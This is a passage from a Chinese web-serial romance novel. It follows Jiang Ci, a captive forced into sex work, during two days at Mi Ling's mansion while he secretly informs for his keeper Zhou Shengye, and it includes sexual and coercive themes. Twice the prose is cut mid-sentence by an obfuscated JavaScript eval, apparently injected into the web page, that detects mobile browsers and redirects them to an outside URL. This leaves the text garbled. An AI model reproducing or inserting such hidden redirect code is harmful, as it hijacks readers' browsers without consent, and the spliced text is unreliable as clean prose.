他心如刀绞,皱起脸痛苦地呻吟了几声,忽然紧紧攥住了糜岭湿透的衣襟,阴阴地笑了一笑:“糜三少……你可咳咳、可要想好了,说不定我是在演戏给你看呢?我下了山,说不定什么时候就捅你一刀子,要你死呢?毕、咳咳毕竟我蛇蝎心肠,与周盛业合谋想害你想了大半年了咳咳……” 死也死不成,甩也甩不掉,那么他就如了糜岭的愿,做一个无情无义的婊子,当一个乖巧听话的替代。 糜岭听他说这些,握着他的手,仿佛此刻他手里就有一把刀似的,往心口一扎,说:“好,好,小宝,我甘愿死在你手里……” 他低头吻住姜瓷,深深地狂乱地。姜瓷没有再拒绝,把手臂软软地温情地搭在他肩上。越过糜岭肩膀,他又能看见那硕大如盆的月亮了,小小的园林里,月色在随风飘摇的树叶上掀腾翻覆,四下飞溅。太冷太长的冬夜,斟满了爱与恨的血。 20. 20 糖板栗 糜岭的公馆坐落在高街,这儿远离闹市,是一条蜿蜒上升的坡道,两旁尽是葱郁茂盛的常绿树,只零星几幢房屋嵌在这一片绿海里,洋式的两层或三层小楼,黑灰的墙上攀着网一样的枯藤葛,铁栅栏门前一排窄长的花圃,栽着艳红的月季。 到了坡道拐弯处,有一左一右两株松树,横枝恣意扩张,伞一样罩下来,遮蔽了天光。 姜瓷方才与糜岭在北街逛了一圈,买了许多点心零嘴,还在一家西洋玩具店里买了些小玩意儿,兴奋劲儿还没过,见山下的什么都觉得新奇,这会儿非闹着要好好看看这两棵松树,让糜岭降下了车窗。 他把头伸出车外去,可迎面就呛了口冷风,低一低头,风又把他颈上一条丝围巾卷走了。他边咳嗽还还探了探身试图去抓,糜岭赶忙将他拽了回来。 那一晚糜岭救起他后,原本马上就要带他走,可他原本就病着,还在池子里泡了水,发起高热来,意识不清尽说胡话。这一病又是好几日都没能下床。后来稍有了些起色,立刻给周盛业打电话,用从糜岭那儿得来的消息换来在山下的两日,初九一天,初十一天,十一一早他就必须回金园去了。 今早下山时他还一副病恹恹的样子,喘不上气,说心痛,好一阵儿才缓过来,现在哪能吹冷风。 糜岭替他拢紧衣襟,说:“多危险,坐好,围巾不要了,舅舅再给你买一条。” “不行,我就要那一条。” 他坐在糜岭腿上,一手勾住糜岭肩膀,还侧着头去看窗外,那围巾只飘了几米远就挂在了附近花圃的月季枝子上。 “你看它就在那儿,我就要那一条。”他回过头来,细软一条腰滑进糜岭臂弯里,把腿一抬也蜷到糜岭怀里,身上那件高开叉的旗袍就垂向一边,露出里面浅粉的一件短衬裙,轻软的布料垂到腿根。 糜岭抚着他的腰,一边吻他一边说:“好好,过了这个弯就到家了,一会儿让佣人来捡。” 话音刚落,车后响起一阵叫卖声,喊着:“糖炒栗子,刚出锅又香又甜的糖炒栗子!” 姜瓷听了一下直起身来,伸长了脖子从车后挡风玻璃望出去,看见一个踏着三轮的摊贩,正慢悠悠骑上坡来。 “我要吃,我想吃栗子,好不好?”他晃着糜岭肩膀撒娇。 糜岭也回头看了一眼,那小贩骑着的三轮不似寻常栗子贩的车,像是用人力车匆忙改造的,原本坐人的位置放了个篮筐盛栗子,遮雨棚没有拆下,还半敞着。 他抓着姜瓷的手亲了亲,从一旁大包小包里挑出一个罐子,捡了粒加应子给他,说:“刚才在北街买了这么多还不够?”又对司机道:“先别回家,继续开,附近绕一圈再回来。” 姜瓷连着他指尖与果子一起咬住,睨他一眼:“你怎么这么小气,栗子都不给我吃吗?在北街又没买到栗子。”他又挺直身子,隔着挡风玻璃朝那摊贩挥手,喊:“我买栗子!”在颠簸的车里,他这么一动作,整个人仿佛澎湃的波涛,一阵一阵往糜岭脸上前仆后继。 糜岭被他勾得直恍神,黏黏乎乎地缠着他接吻。姜瓷低头对上他热烫的目光,懒洋洋垂着眼帘,解开旗袍盘扣,任他伸了手进去,腻着嗓子说:“给我买嘛。”又抬头恋恋不舍地去望那栗子车,小小一个黑影子,渐渐就瞧不见了。 糜岭有一下没一下地吮吻着他,说:“等会儿看看街上还有没有卖的,没有就回家去让厨子做,舅舅请了一位上海来的厨师傅。” “上海的厨子又怎么样呢,谁说厨子都会做糖炒栗子的?”他被糜岭动手动脚玩了这么久,还是冷冷淡淡,脸都没红一下,心不在焉地说着话,嘴里含着加应子,脸颊鼓出一小块,松鼠似的。 糜岭亲亲他鼓起来的这一侧脸颊,他就把果子含到另一侧去,口涎淌出来一点儿衬得唇瓣亮盈盈的。他皱起脸说:“真酸,我想吃甜的,我就要吃栗子。” 糜岭哄他道:“宝宝,你听舅舅一句话。”他拢好他的衣襟,朝窗外打量几眼,再没见着那栗子贩了,稍稍放下了心,说:“刚才那个贩子看着像周盛业派来跟踪的人,高街那一块儿从来没有摊贩叫卖,他又突然出现在车后面,实在可疑,或许是警员假扮的,卖的东西哪能好。” “哦,”姜瓷没什么反应,不咸不淡应了一声,“周盛业肯定不放心我一个人下山,我知道他会叫人跟着我的,而且一路过来我都看见好几个了,一个卖香烟的,一个人力车夫,还有一个骑自行车的人,还有在那个西洋玩具店里一个穿西装的外国人。” 糜岭竟不知道他这样敏锐,问:“怎么看出来的?” “他们看人的时候,眼睛是……”他睁圆了眼睛学了一幅凶相,“就是这种样子,我看得出来。” 糜岭笑了笑,爱怜地亲亲他:“谁知道他们会不会对你做什么,要是周盛业后悔了,叫他们掳走你,舅舅这幅样子可追不上你,离他们远些没坏处。” 姜瓷听了拿脚尖轻轻踢了踢搭在座椅边的手杖,倒在他肩上吃吃地笑,张着唇,把加应子的核微微吐出来含在唇间,含糊说:“吃完了,核吐哪儿?” 糜岭低头吻他,把那核吃进嘴里,倒没尝到什么酸味,只觉得他唇舌软润,甜得倒牙。 车子在附近街上开过一圈,再回到高街。没买着栗子,姜瓷不大高兴,等车子开过弯处的松树在公馆门前停下后,他闹别扭不肯下车。糜岭温言软语地哄,说马上就叫家仆去街上买。他这才扭捏地把手伸给糜岭牵着,踏出车外,说:“那你给我买十斤,不,二十斤。” 糜岭竟也点头应下,他又笑说:“你当我是小猪,能吃得下二十斤栗子啊?咦?这儿是你的公馆?” 他再往面前树丛里探一眼,只瞧见一条蜿蜒往里的石径,不似坡下几家住户装着铁栅栏大门。 糜岭揽着他踏上石径,调笑着说:“怎么,嫌弃舅舅家寒酸?” “我哪里敢嫌弃糜三少,你就是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15831039|175568||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 让我睡地板我也不能说什么呀,不过堂堂三少的公馆不可能寒酸吧?”一口一个“三少”,讲起话来绵绵软软,细听全是刺。 糜岭马上又好言说:“我怎么舍得叫你睡地板,舅舅怕你认床,买了张与山上一样的。” “三少真体贴,”他往糜岭肩上倚,吹气如兰地说,“多谢三少了。” 糜岭只觉得他在阴阳怪气:“别这样叫我小宝,你以前——” “以前是以前,现在毕竟不一样了,糜三少。”他还是温温柔柔地笑着,说完了,加快脚步径自走到了前头,拐了个小弯,豁然一处阔大的平台,林木萧疏许多,四周一圈榆树,都已掉光了叶子,枝干孤峭屹立,巍巍然一派冷傲。 平台中间是一幢一层高的白色建筑,他猜测一定是糜岭腿脚不便所以没有造二楼。屋顶铺着深红的琉璃瓦砖,两支硕大的雕花白石圆柱撑起了门廊,从门廊顶上又垂下茂密的常青藤,远远一瞧,仿佛一个白脸的人戴着红顶绿檐的帽子。他吃吃地笑出声来,朝门廊走去。 门廊左右两侧是宽绰的走道,一边吊着一张秋千座椅,另一侧摆着小茶桌。走道上尽是玻璃门,嵌着黑金漆的边框。完完全全的西洋新式风格。 他绕过秋千座椅,把脸贴在门上往里看,嗬,满墙的书,厚的薄的,书脊上印着烫金字的。他隔着窗摸一摸那些陌生的字,恋恋不舍走到另一侧去。是间大客室,倒有一些中式的风味,一张绿竹叶宽屏风围住了浅灰色的丝绒沙发,上面堆满了绣鸳鸯戏水纹样的抱枕,沙发扶手和靠背上都搭着蕾丝巾,收在两侧的白窗帘上织了小而浅的黄雏菊花,案头的珐琅花瓶里插着苍兰。一切都静静地浅浅地美丽着。 糜岭慢一步过来,见他粘着玻璃门,呵出的气息都在上面凝成了雾,立刻把方才一点儿不愉快的刺抛到了脑后,拽他到怀里抱着,又见门上那团雾里留下他一个鼻子一个嘴唇的轮廓,霎时心口一阵酸麻,说:“舅舅把这块玻璃敲下来,永远存着你的鼻子和你的嘴巴。” 姜瓷似笑非笑瞪他一眼:“十三点……马上就化了,怎么存,你还没喝醉就开始说胡话了!还是在故意取笑我?” 在街上玩了大半日,他许是累了,站不住似的吊在糜岭身上,声音也虚软下来,糯糯的娇,映着晌午浅金的日光,脸还是那样病气缭绕的白,恹恹地耷拉着眼皮,可是也仿佛描眉画眼打扮了一番,叫糜岭看着心里昏昏的,只想整日与他厮混在一起。 他抚了抚他被风吹乱的头发:“累了是不是?”一边推开了玻璃门,一边吻他。两人跌跌撞撞进了客厅,摔在沙发上,难解难分地纠缠了一阵子。 佣人过来送茶,糜岭端着杯子喂给他喝。喝完了,他歪躺下去,一躺,只觉得沙发说不出的柔,轻轻软软地把他含住了似的,抱着靠枕,脑袋一点一点就打起瞌睡来,迷迷糊糊间听见糜岭吩咐佣人去外面捡围巾买栗子。他抚摸着靠枕上两只交颈的鸳鸯,意识渐渐恍惚了。 21. 21 忘今宵 这一觉一直睡到夜深时才醒。糜岭仿佛不是新买了张床,是把山上的床搬下来了,姜瓷躺在上面,做的梦都与在金园做的梦一样,睁眼后半睡半醒之间,也还能感到与身在金园时一样的颤栗的恐怖。 他糊涂地脱口而出喊一声“阿岭”,摸向床畔,冰凉的触觉叫他清醒过来。他皱了皱眉,一边打量四下一边下了床。床头的台灯亮着,一层浅粉的纱幕罩下来,掩得光线暧暧昧昧的。在房里转了一圈,只觉得地方大得走不完,家具陈设崭新,清一色桃花心红木,还隐约泛着木头的香气。 拉开衣柜,左边一半挂着旗袍衬裙大氅,右边一半挂着中式的长衫马褂、西式大衣和黑色灰色的男士西装。他还以为那是糜岭的西装,可扯出袖子往自己身上比了比,竟然是他的尺寸。 他睁大了一双泛红的眼睛,紧紧攥着那西装袖子,良久没松手。 梳妆台上放着几盒首饰,还有今日在西洋玩具店里买的包裹。他拆开最上面一个巴掌大的盒子,里面是只绿玻璃小鸟,嵌了两粒黑珠子当眼睛,翅膀张开欲飞的姿态。他举起鸟儿在空中来回挥了几下,孩子气地轻声说:“飞咯飞咯……”一边走到窗前开了窗,把鸟放在窗台上,仿佛真要放它飞走似的。 推门出去,到处静悄悄,走廊里的灯都亮着。这时候有个仆人从转角走了过来,端着托盘,见了他规矩地问好,说:“先生想您也该醒了,叫我送吃的过来。” 他往托盘里瞥一眼,瞧见一把栗子,就拿了一粒,问:“他在哪呢?” “在书房里,我带您过去。” 他跟着佣人去了书房,一进门,屋里暗沉沉的,只书桌上亮着一盏小台灯,暖黄的光。糜岭坐在桌前写着什么,听见声响头也不抬地说:“他醒了没有?” 姜瓷接过佣人手里托盘,关上门,出声道:“醒了啊。” 糜岭马上抬头看过来,朝他露出一个笑,台灯的暖光揉进他眼里,面颊上,笑容中,衬得他整个人都金灿灿的。姜瓷看着心头惊跳起来,耳上一阵泛热,但随即低下头去,咬住舌尖迫自己冷静下来,放下托盘,打量周围,瞧见角落里放着一只唱片机。 他走过去,摸一下机子,问:“你在忙工作吗?能不能放歌来听?” 糜岭说:“放吧,唱片在底下抽屉里。” 他拉开抽屉挑唱片,说:“以前有个人送过我一台,后来坏掉了,也没有人会修,周盛业就拿走丢掉了。”他选了张封皮上印着玫瑰的,摆在机子里,放下了唱针。悠扬婉转的旋律响起来,一个和软的女声唱道: 莫忘了今宵,莫忘了今宵,我把整个的心给你了,我把整个的人给你了。* 他马上把唱针抬起来,两臂撑在放唱片机的柜子上,紧紧掐着收手心,身体忍不住地发着颤。他的心又开始热烈地跳起来了,可是这不能够……他听不了这样柔情蜜意的歌。他换上另一张唱片,谁知还是软软的调子,柔柔的女声,唱着: 许我向你看,向你看,多看一眼,我苦守着一个共同的信念,今天才回到我的面前。* 他瑟瑟发抖,又想把唱针抬起来,可忽然听到糜岭叫他,一回头就被抱住了。 “不喜欢刚才那首?”糜岭亲亲他头发,下巴搭在他肩上,搂着他的腰,带他跟着乐声轻轻摇晃起身体来,“本来今晚舅舅给你办了舞会,可你一觉睡到现在,都要十二点钟了。不过也好,就只陪舅舅跳舞吧。” 姜瓷配合着他笨拙的步伐,抱着他脖子,也枕在他肩上,脖颈碰着他的脖颈。他想到沙发上的靠枕,上面两只鸳鸯也是这样交颈依偎在一起……一声“阿岭”在唇舌间翻涌冲撞,洪水似的要流泻出来,然而这时候糜岭贴着他耳朵蜜蜜地叫了声“小宝”。他睁大了酸热的眼睛,不让泪掉下来,默默地期艾地笑了一下。他可不是小宝。 “怎么了?”他应声道。 糜岭问:“谁送唱片机给你?” “不知道,我只听周盛业叫他朱秘书,”他眼里的热意彻底褪去了,抬起头冷冷地望着糜岭,“他真胖,楼梯都爬不上去,不巧他认识我的时候又是夏天,经常他只是坐在那里就大汗淋漓喘不上气,所以他在金园,就一直是我——” 糜岭立刻沉声打断:“别说。” 姜瓷道:“我顶着你爱的人的脸说这些,你不高兴了么?那个人不是妓,可是我就是一个妓,就是要被各种各样的人玩的。” “不会有其他人了,”糜岭眼神也冷冷的,“从今往后你只听我送给你的唱片。” 姜瓷嗤笑一声:“这件事可由不得我,糜三少。” 他推开糜岭,晃悠到书架那儿去,指尖拂过一排排书。 糜岭静静站在唱片机前,等乐声结束,又从头开始放,灌录的声音沙沙的有些模糊,他心里也模模糊糊泛着雾。方才到底把姜瓷看成了谁?是姜瓷替代了他心底那个人,还是那个人扮演了姜瓷?是因为那个人不会说出这样粗鄙的话而生气还是为了姜瓷过往有那样一个不堪的男人而生气?周盛业把他关在山上五年了,不堪的男人何止一个…… 可从前他根本不在乎姜瓷除他以外有别的男人。或许就如姜瓷所说,一开始,他真的是把他当妓的,但现在……现在怎样? 他转头去看姜瓷,姜瓷已经转悠到书桌旁,坐在椅子上把玩起他的钢笔。台灯的暖光,掺着些四周昏昏的暗色,照得他一张脸也像是可以吃的甜蜜蜜的栗子。 “姜瓷。”他轻声喊。 姜瓷几乎没听过他叫自己全名,一下子愣住了,抬头回望他。 唱片里暖软的歌声在两人间游荡: 你的面貌还像当年,我的苦痛已积满心田,你不让我吐露一言,只能对你多看一眼。* 姜瓷眼里又泛起泪意。他想移开视线,可整个人就只是僵在那里,痴痴地望着昏暗里朦朦胧胧的那个身影。半晌,乐声停了。他抖着嘴唇,还是哭了出来,忍不住哽咽了一声。垂下头,手底下,糜岭写满了字的一张信纸被他揪得又皱又破,眼泪滴下去洇开了墨水,字与字晕在一起,一切的界限都模糊了。 糜岭快步走过来抱住他,给他抹眼泪,他一个劲儿地避开他的手,徒劳地去抚平那张信纸,又拿起钢笔塞进糜岭手里,颤颤巍巍地说: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15831040|175568||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “把你的信弄坏了……你、你忙吧,我回去睡觉了。” “别走宝宝。” 糜岭拽他回来,抱他坐在腿上,紧紧箍着他的腰,说:“舅舅教你写字吧,好吗?别走,不要哭。”他把钢笔递过来,抓着他的手教他怎么样握笔,抽出一张空白信纸来,带着他写一个“姜”字,又写“瓷”。 姜瓷渐渐止了泪,问:“这是我的名字吗?” 糜岭应一声,握着他的手把一笔一划拆分开来又写了一遍:“会了吗?” 他自己试着写了写,歪歪扭扭的稚嫩的笔划与字,刚学会飞的雀鸟般快乐地在他眼里蹦跳。他回头羞赧地看一眼糜岭,轻声说:“你再教我……我妈妈叫姜悦,悦是快乐的意思。” 糜岭就又教他写“悦”。他依样画葫芦把整张纸都写满了,还意犹未尽。糜岭问:“不想知道舅舅名字怎么写?”他别别扭扭地,细声说:“不想。” 糜岭轻轻笑了笑,握住他的手在纸上写下“阿岭吾爱”四个字,说:“那舅舅教你写别的,这四个字读‘见信如唔’,意思是说见到这封信就像见到写信的人一样。” 姜瓷不疑有他,照着写一遍,侧头对他笑起来,问:“明天还教我写吗?” 糜岭摸一摸他泛红的眼尾,他那还泛着水光的炯炯一双眼睛里仿佛就明晃晃写着“阿岭吾爱”。他柔声说:“教,每一次舅舅去看你的时候,都教你,好吗?” “你不能骗我,你说话要算数。” “我保证。” 姜瓷转一转眼珠:“不行,口头的不算,你以前总骗我的,这次你写下来画押。” “好好。” 糜岭拿起笔心不在焉地写字据,揽着他腰的手已经不规矩地扯松了睡袍腰带,贴上他软糯的腰。 姜瓷扭着身子推他:“你先写完呀!你别——” 糜岭只是不应,一下子把他推倒在书桌上。 屋子外面,月亮细细一道金钩似的悬在天上,两颗乳白的星伴在一旁,风一吹,那星子仿佛是波点儿似的轻轻颤动摇晃起来。然而说是晴夜,却眼见着远处飘来了乌云,湿湿地舔到月牙儿前面这一头又后面那一头。 月牙儿也不知是生气还是害怕,在夜幕里忽暗忽亮地挣扎,似乎是要把遮身的乌云抖落下去,抖一抖,再摇一摇,突然一下跃到乌云上面去。那片沉沉的云有点儿不服气一般,忽而膨胀开来,变得那么阔大,轻易就将月亮整个遮掩住了。 周遭暗暗,哗啦啦一泼雨就落了下来。暮秋初冬的雨,本该是肃冷的,却不知为何柔暖异常,像春晚的雨,空气里仿佛有嫩生生的菖蒲在生长扎根的淡香。 这雨水打进书房,落到桌上,把昏昏沉沉的姜瓷惊醒了,一抬眼,瞥见桌角那张只写了一半的字据,立刻抓在手里,颤颤地叫:“没、没写完……签、签字!” 糜岭不应,低头吻他,哄他叫一声“阿岭”。他抿紧了嘴巴不说,眼睛斜斜睨着糜岭满肩膀胸膛被他抓挠出的指甲印。 糜岭见他不愿意,也不强求,把手指蘸了些腻在桌上的那暖潮的雨水,往字据上按了个指印。 22. 22 两面派 早晨四五点钟,姜瓷才被糜岭抱回房里,迷糊睡了半小时就被噩梦惊醒。床头台灯亮着,糜岭站在窗前不知在做什么。外面雨还在澌澌地下。 姜瓷怔怔盯着他看了一会儿,他终于有所觉察,回望过来,轻声说:“吵醒你了?总觉得屋子里冷飕飕的,才发现窗户开着,过来关窗户,看见你的小鸟在窗台上,被雨淋潮了。” 他慢慢踱步到床畔,坐下来,拿睡袍抹干了玩具上的水,递到姜瓷手里。 姜瓷举起它在空中颠簸地晃了几下,把鸟喙对准他脸颊轻轻碰了碰,捏着嗓子说:“哦谢谢你,陌生的人类,你真好心。”叽叽喳喳,真仿佛鸟儿在说话似的。 糜岭笑起来,握紧他的手吻他指尖,说:“再睡会儿宝宝,舅舅不吵你了。” 姜瓷瞥见床畔搭着崭新的一套西装和大衣,坐起来勾住他脖颈,一罐蜜似的泼在他怀里腻住了,说:“你没吵我,是我做了一个噩梦……你不睡觉吗,你要去哪呢,还这么早,你不陪我?我明天早上就要走了呀。” 糜岭拽过被子盖在他后背,紧紧抱着他,亲昵地蹭了蹭他额头,说:“生意上有点事情……那么我不去了,陪你睡觉,好吗?小宝做了什么梦?” “不好的梦……”他闷声说,“其实我一点都不喜欢这张床,它太像金园的了,好像我根本没下山,好像……边上睡着别的人。” “怎么不早点讲?舅舅马上叫人换一张,我们到别的房里睡。” 糜岭抱起他往房间外走,他趴在他肩上,看着扑打在他脚后跟上的睡袍下摆,一掀一掀,眼皮也不自觉跟着一掀一掀,渐渐又打起盹来,睡了过去。 过了晌午,雨仍没有要停的意思,愈发疾骤了。 姜瓷被雨打窗户的声音吵醒,没有再睡,换了衣服和糜岭去吃饭。一桌子都是上海菜,昨日他还为了几只栗子对做饭的厨子嗤之以鼻,现在倒吃得摇头晃脑。糜岭剥了虾喂给他,他咬住了还没嚼一口呢,就迫不及待去夹红烧肉,再塞一口饭,小孩子似的弄得下巴衣襟上尽是米粒。 吃完了饭,两人在书房写字。糜岭挑了一本专刊载童话的杂志,一边读故事一边教他认简单一些的字。仆人送茶水和零嘴点心来的时候,姜瓷也看累了写累了,喝了茶吃了几个果干,看到一本封面上写着尤其古怪的字的书,就要糜岭读给他听。 糜岭笑着说:“这是洋文,小宝听不懂。” 姜瓷瞪圆了眼睛,把书往桌上一拍,撇着嘴巴说:“好,你笑话我……本来我也没想听懂,我只是想听你的声音。” 一句话哄得糜岭只觉一股热意轰隆隆往面颊上冲,心口惊惶地跳。这把年纪了,竟像个毛头小子似的脸红。他说:“舅舅没有笑你——” “就有就有!既然你不给我读,那就算了,我——我不跟你待一起了,我自己玩去!”他闹起来,抬手就把茶杯掀翻了。 “好了别气小宝,我读,读给我们宝宝听。”糜岭捉着他手指放到书页上,点一个字就读一下,这么读到书页中间,忽然玻璃门外的院子里响起一阵车铃声。 两人都抬头望去,瞧见茫茫雨帘中一个身影,骑着自行车,歪歪扭扭直往门外的走廊上冲。那人也知要撞上,大叫着猛地将车头一扭,失了平衡,摔倒在地,车轮都摔歪了,也没顾得上去扶,连滚带爬径直往门廊去。 马上听到管家在外面说:“少爷,总店里的伙计来了,说有要紧的事!” 糜岭见状知道一定是急事,放下书就要走,姜瓷把水盈盈眼眸望他一眼,歪头靠在他肩上,轻软的头发全扑到他脸上颈上去,牵牵绊绊地,拽得他双脚直离不了地,于是就对外面说:“我不过去了,叫他进来讲。” 姜瓷得逞地朝他笑,他恍恍惚惚,一点儿听正事的心思都没有,一边啄吻他,一边拿大衣裹住他,说:“躲在舅舅怀里,别给别人看见。” “我这么大一个,他怎么可能看不见?” 说话间那伙计已经湿淋淋走进门来,一身泥水,不知怎的还鼻青脸肿,衣服上斑驳的血迹,不像是刚才在门前摔的,倒像是被人打的,站在那儿就哭,拿袖子抹眼泪。 糜岭看他这般惨状,凛了凛神,正要问话,姜瓷却忽然伸出手圈住他脖颈,也转头看向那人。他赶忙捂住他眼睛,在他耳边说:“乖乖的宝宝,别看。” 姜瓷就温顺地枕在他肩上,打了两个哈欠,无聊地用手摸他后颈上方的碎发。 那伙计在那儿哭诉道:“大事不好了!九龙码头那批货,叫一群劫匪给抢了!” 糜岭旋即明白哪是什么劫匪,这一定是周盛业作的乱。把货物的消息叫姜瓷透露出去的时候,已经相当于把这批珠宝拱手送给周盛业了。 姜瓷听到伙计的话,在他耳边窸窸窣窣地问道:“抢了?是周盛业做的么?” 他轻轻应了一声,问那人:“具体怎么一回事,你详细地说。” “我们几人到了港口,接应的人却不是往日里那个,而是一个络腮胡的中年男人,他说自己是新来的,领着我们去取了货,后来还帮忙搬箱子到马车上,结果我们要走的时候,不知道从哪儿跳出几十个蒙面人,将我们打了一顿,与那络腮胡一起抢走了马车!外面雨这么大,码头上也乱,又是双拳难敌四手……这可如何是好哇!” 糜岭听得眉头紧皱。他把东西拱手相送,周盛业偏不安宁地接,明明可以在他的人过去之前就悄悄将货取走,却偏要来这么一出。哪能让底下的人凭白被打,正要说话,只听姜瓷又贴着他耳朵道:“还是先叫医生来给他治伤吧。其实我刚才看见他衣服上的血了。” 外头风雨吹打得玻璃门哐当哐当响,姜瓷拂在他面颊上的气息明明那么轻浅,却仿佛有狂风般摧枯拉朽的力道,卷着他的心,要把心卷出胸膛一样。他今日实在很不对劲。这会儿更拢不起心思应对,于是听了姜瓷的话,对那伙计说:“你先出去,让管家叫个医生来给你瞧瞧。” 伙计见他如此平静,丢了那么贵重的货竟不急不躁,也不见他有何指示——至少该去报个警吧——一时之间呆在了原地,连哭都止了。 这边姜瓷又悄声地说:“你这么听我的话啊。”糜岭一低头看他歪着脑袋得意洋洋地笑,马上就想吻他。他躲了一躲,说:“有人……” 糜岭潦草看一眼还站在那儿的伙计,催促道:“还不快去。”说完了又来亲姜瓷,姜瓷忍着笑抬手捂住他嘴唇,他便吻他手指,手掌搭上他的腰,矮声说:“舅舅摸摸总可以?他看不见。” “不行,疼的……昨天晚上还没摸够啊?” “不够,最好一直给舅舅握在手里。” “十三点……”姜瓷笑一声,眼睛不经意一瞥,竟看见那伙计仍僵直地立在那儿。他立刻去推糜岭,合上了胸前衣襟。糜岭抬头不耐地朝伙计看一眼,眉头紧皱,一开口就迸出火星子,厉声喝道:“出去!” 伙计僵硬地扭了扭脸,一瘸一拐地出去了。一关上门,随即听到里头一阵嬉闹。他后知后觉涨红了脸,也不知是臊的,还是气的。 屋子里糜岭继续陪姜瓷读那洋文书,读到一个“士多啤梨”,姜瓷说:“这是什么?” 糜岭逗他道:“小宝猜猜看。舅舅给个提示:我们小宝就像士多啤梨,又香又甜。” “你——流氓!”他红了耳朵嗔了一句 糜岭笑道:“想到哪里去了?这是种水果,宝宝。” “真的?那我想吃,你买给我。” “现在还吃不着,等春天,夏天的更好更甜。” 姜瓷听了眼睛一垂,软声说:“谁知道那时候我还能不能见你呢。” “能,一定能,舅舅想想办法。” 往常他说什么姜瓷一定信一定放心上,现在他不敢了,只敷衍地应了声好。糜岭多少也感觉到他有点儿不相信,就说:“舅舅再照昨天那样写张字据?”说着一把抱起他压在了书桌上。他咯咯地笑着滚到这边滚到那边地躲,喊着不要,可最后还是抱住了糜岭的腰。 临傍晚的时候,糜岭才出书房。除了那伙计,几家分店的管事也都来了,陈兴老爷子也得了消息,派了他的人过来,一众人聚在一起商量对策。 这会儿外头已经放晴,姜瓷就到了屋外,蹲在那辆自行车前好奇地瞧来瞧去。他在上海时从来没见过这种车子,来了这儿,有时王妈到山下去采买东西,回来就会同他说,今日又在街上遇见了谁谁骑自行车,买一台要花多少钱云云。 糜岭坐在沙发,斜一斜视线就能看见他,不一会儿见他拿手去抓沾满了污泥的车轮,立刻起身去拦。同坐的几位叫住他,问事情到底要如何解决。有什么可解决的呢,原本就是把那批货送与周盛业了,换了姜瓷在山下的两日,要肯定是要不回来的。 他挥挥手丢下一句“明日再说”,推开玻璃门走出去,拉起了姜瓷。 姜瓷把满手泥往他衣服上蹭,他也不恼,说:“好了不玩了,我们去吃饭。” “我想学这个,我想骑,”姜瓷搂着他脖子蹦蹦跳跳地撒娇,“你答应我,你教我,我就去吃饭。” “小宝——” “教我嘛,教我,好哥哥,亲亲,甜甜。”他一通乱叫,糜岭实在招架不住他身上一股磨人劲儿,应道:“好好,教你,但舅舅这样哪能陪你玩这个,叫管家教你吧,他平日总骑车去街上买东西。” 姜瓷得了允诺,迫不及待,草草吃了两口饭就要去玩。糜岭先带他去换一身轻便的男装,又给他盘头发,没做过这种事,有些笨拙,慢吞吞弄了许久。 姜瓷竟也没有急得闹脾气,一直盯着镜子里,等他终于弄好了,糯糯地开口说:“你从来没看过我穿男装,你觉得奇怪吗?” 糜岭亲亲他,说:“没有,小宝哪里都好。一会儿玩的时候慢慢地,小心别摔跤,知道吗?” “你不陪我?你有事情就不能等明天我走了再忙吗?你在旁边看着我,你别走。”他也不等糜岭应声,牵着他一溜烟往外跑。 在院子里,管家演示了几遍如何上车,说了几点要领,将车把交到他手里。他有样学样跨上车,第一次就摇摇晃晃地骑出去好一段距离。他很小心,见着不对劲,不用糜岭提醒,自己就停下来。慢慢地,管家在后面扶着车座,他已经能平稳地在院子里绕圈了。 天完全暗下来的时候,糜岭喊他休息一会儿,他就下了车跑过来,坐到他怀里,就着他手里的杯子喝水。糜岭抹了他额角的汗,说:“下次再玩吧小宝,出了汗再一吹风,你又要生病。” “好吧。那下次是什么时候?” 糜岭哪里给得出准话,顿了顿,说:“很快,我保证。” 姜瓷拨 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周盛业也不吃了,立刻就要带他走。糜岭叫佣人包了几个生煎和粢饭团给他带着,送他坐进了车里,也不避讳周盛业在,俯身在车窗前又缠绵地吻他,嘱咐了一些好好吃饭休息这样的话。 车子驶离糜公馆,到了坡下松树的拐弯处,姜瓷回头看了一眼,糜岭还直直地立在门口。他收回视线,握着温热的饭团,浑身僵硬地坐了好一会儿,才动了动,扯下颈上的钻石项链往周盛业那儿一扔,说:“给你了。” 周盛业笑一声,捡起链子细细端详一番,道:“这么好的东西也舍得送你,真被你给迷住了。” 他不应声,撇过头看向窗外。周盛业又道:“这两天有没有探听到什么消息?” “九龙码头的货,是你去抢的吧。” “怎么,他知道了?” “嗯,昨天有许多人到他那儿去商量对策,他父亲也派了人过去,要追查这件事。” “毕竟是一笔价值不菲的东西,”周盛业阴恻恻笑了笑,“查?呵,我倒要看看他能查出什么来。他有没有怀疑你?” “你刚才不是都看见了么,要是他怀疑我,还会那样对我?” “没白费我在你身上花那许多钱和精力,”周盛业一把抓过他的手欣慰地拍了拍,“你说你早点想通多好?也不用受先前那些罪,你跟我犟,我只能罚你,你要是配合我,我哪会叫你吃苦!你瞧瞧现在,不是很好嘛!” 姜瓷皱着眉甩开他的手,仍一言不发。 